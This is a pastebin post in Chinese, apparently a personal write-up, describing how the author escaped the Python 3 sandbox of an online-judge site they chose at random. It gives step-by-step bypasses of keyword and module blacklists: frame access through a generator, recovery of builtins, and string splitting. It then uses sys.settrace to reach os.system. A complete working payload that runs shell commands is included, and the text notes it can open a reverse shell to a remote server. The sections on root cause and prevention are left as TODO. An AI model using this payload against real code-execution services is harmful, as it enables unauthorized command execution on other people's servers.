Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # 如何使用python3逃逸沙箱,获得进程上下文权限提升
- 最近突发奇想,想对所掌握的python知识进行总结一下,目前其实还停留在python层面如何使用,还没有深入到虚拟机部分,如果下面有哪些错误,欢迎指出。
- ## 背景
- OJ(Online judge, 在线编程测评提交代码到后台运行检查)网站一般都允许各种各样的代码提交,其中很有可能包含python3,于是决定尝试通过python3的代码执行,进行沙箱逃逸,以及绕过各种限制。
- 我随便找了一个OJ网站,这个站点的python3有如下限制
- - 代码字面量不能出现一些**敏感词**,例如`open`, `os`, `read`, `globals`, `locals`, `vars`, `raise`, `getattr`, `exec`, `eval`, `compile`, 等...
- - 有**模块黑名单**,无法通过任何方式导入`os`, `sys`, `gc`等以及包含了他们的模块的模块(如`inspect`就包含了`sys`,所以也不能导入)
- - 以及一些非常变态的,不允许出现连续的两个下划线 `__`
- - 没有任何输出反馈,也就是`print`没作用
- ## 基本前提
- 在以上的限制下
- - 也就是几乎没有能导入的模块了,有少部分可以但也没法用
- - 没有局部变量列表,没有全局变量列表
- - 但是可以`import marshal`,**但这对于破解不是必须的**
- 我决定给自己增加一点难度,因为其实虽然看不到globals,但是python3.5之后又自己的loader机制,所以全局变量里默认是有`__loader__`这个的,可以通过这个来进入到`_imp`模块内部
- - 不通过任何import语句获得模块
- - 不使用全局变量里的`sys`, `__loader__`(怀疑是忘记去掉了)
- ## 开始
- 目标: 获得当前进程的shell
- 整个步骤大致如下
- 1. 尝试code object
- 1. 获得frame object
- 1. 获得builtins,获得`getattr`, `open`, `__import__`等关键函数
- 1. 如何输出信息?
- 1. 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
- 1. 使用sys.settrace,寻找os模块
- 1. 使用`os.system`
- ### 尝试code object
- 要获得shell,很自然想到`os.system()`, `subprocess.*`, 那么如何拿到`os`?本来想通过code object的成员找到引用,但是突然意识到code并不是runtime,必须还得有`exec`或`eval`,而这两个目前只能用字面量获得,字面量有敏感词限制。
- 核心的思路还是通过非字面量获得对象,那么在哪里能通过非字面量对象获取对象?自然想到了frame object
- ### 获得frame object
- 以下是python3里所有可以获得frame对象的地方
- - [ ] `sys.settrace(lambda frame, ...)`
- - [ ] `threading.settrace(lambda frame, ...)`
- - [ ] `sys._getframe(0)`
- - [x] `<generator>.gi_frame`
- - [x] `<coroutine>.cr_grame`
- - [ ] `traceback.TracebackException`
- 显然只有generator和coroutine不需要额外导入模块,以generator为例,python3里有各种各样的generator的
- - `g = (_ for _ in ())`
- - `def _(): yield; g = _()`
- 然后
- ```python
- >>> g
- <generator object func at 0x1016c1f48>
- >>> g.gi_frame
- <frame at 0x1017d9048, file '<stdin>', line 1, code func>
- ```
- ### 获得builtins,获得`getattr`, `open`, `__import__`等关键函数
- ```python
- builtins = g.gi_frame.f_builtins
- ex_ec = builtins['ex''ec'] # 用字符串拼接绕开字面量敏感词
- ga = builtins['get''attr']
- ip = builtins['_''_im''port_''_']
- op = builtins['op''en']
- >>> ex_ec
- <built-in function exec>
- ```
- 到此为止,我们已经得到了`exec`, `getattr`, `__import__`, `open`,这几个关键函数可以解除很多限制
- - `exec`: 执行任意代码
- - `getattr`: 读取对象任意属性
- - `open`: 读取文件系统
- ### 如何输出信息?
- 由于没有屏蔽报错信息,所以可以通过traceback信息看反馈
- ```python
- # 假设下面是要打印的变量
- v = ...
- # 下面调用会报KeyError
- _ = {}
- _[v]
- ```
- ### 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
- 正好由于import一个被禁用的模块会报错,那我们在捕捉这个报错的时候就能拿到exception object,通过此对象可获得tb object,进一步获得tb_frame,由于是import相关的逻辑,内部一定存在sys模块,如果没有,那么顺着帧栈往上找(f_back)
- ```python
- try:
- import gc
- except Exception as e:
- tb_frame = ga(e, '_''_traceback_''_').tb_frame
- f_loc_als = ga(tb_frame, 'f_loc''als')
- _s_y_s_ = f_loc_als['s''ys'] # 多数情况下都有,没有的话就在f_back里找,总会找到
- _s_y_s_.settrace(tracefunc)
- ```
- ### 使用sys.settrace,寻找os模块
- 有了sys模块,那就可以做更多的事情了,已知`sys.modules`里相关模块已经被去除,所以换其他办法,可以通过settrace来跟踪每一个调用,settrace本来是用作profile分析的,这个方法接受一个回调函数,python每执行一行代码、或每进入一个新函数栈都会回调一次传入的回调函数,非常暴力。
- tracefunc实现很暴力也很简单,这里就直接对每一帧的globals和locals里的所有对象进行扫描判断,一旦执行到os模块相关的代码,立即会捕捉到os模块,然后也别等了,直接调用相关方法
- ```python
- def shell(mod):
- return ga(mod, 'sy''stem')
- def safe_repr(v):
- try:
- return repr(v)
- except:
- return ''
- def make_tb_text(v):
- _ = {}
- _[v]
- def tracefunc(frame, event, arg):
- if event == 'call':
- f_loc_als = ga(frame, 'f_loc''als')
- f_glo_bals = ga(frame, 'f_glo''bals')
- for scope in (f_loc_als, f_glo_bals):
- for k, v in scope.items():
- if "module 'o""s'" in safe_repr(v):
- #make_tb_text(v)
- shell(v)('ls') # 这里以ls为例
- return
- # 租后随便import一个os相关的模块,触发上面tracefunc
- import gc
- ```
- ### 使用`os.system`
- 上面的代码其实已经写出了`os.system`的调用,到此为止已经可以执行任意的shell了,可以直接起一个后台进程连到某远程服务器,开启一个反弹shell。
- ## 完整code
- ```python
- # coding=utf-8
- def func(): yield
- g = func()
- builtins = g.gi_frame.f_builtins
- ga = builtins['get''attr']
- op = builtins['op''en']
- ex = builtins['ex''ec']
- ip = builtins['_''_import_''_']
- ld = builtins['_''_loader_''_']
- def shell(mod):
- return ga(mod, 'sy''stem')
- def safe_repr(v):
- try:
- return repr(v)
- except:
- return ''
- def make_tb_text(v):
- _ = {}
- _[v]
- def tracefunc(frame, event, arg):
- if event == 'call':
- f_loc_als = ga(frame, 'f_loc''als')
- f_glo_bals = ga(frame, 'f_glo''bals')
- for scope in (f_loc_als, f_glo_bals):
- for k, v in scope.items():
- if "module 'o""s'" in safe_repr(v):
- #make_tb_text(v)
- shell(v)('ls')
- return
- try:
- o = ip('o''s')
- except Exception as e:
- tb_frame = ga(e, '_''_traceback_''_').tb_frame
- f_loc_als = ga(tb_frame, 'f_loc''als')
- _s_y_s_ = f_loc_als['s''ys']
- _s_y_s_.settrace(tracefunc)
- import gc
- ```
- ## 简单总结
- 整个过程其实没有用到`exec`,其实也用不到,也没有通过修改importlib里的函数来绕过loader的限制,可能importlib里直接改loader就行了,但是由于我不熟悉importlib的使用,所以没往这方面尝试。
- 另外由于始终避免不了少量的字面量代码,如`.gi_frame`,如果这个被设为敏感词,那么以上方法将全部失效。
- 最后请大家不要模仿,这不是个学习python的正确途径
- ## 此OJ网站问题根源
- // TODO
- ## 如何避免
- // TODO
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement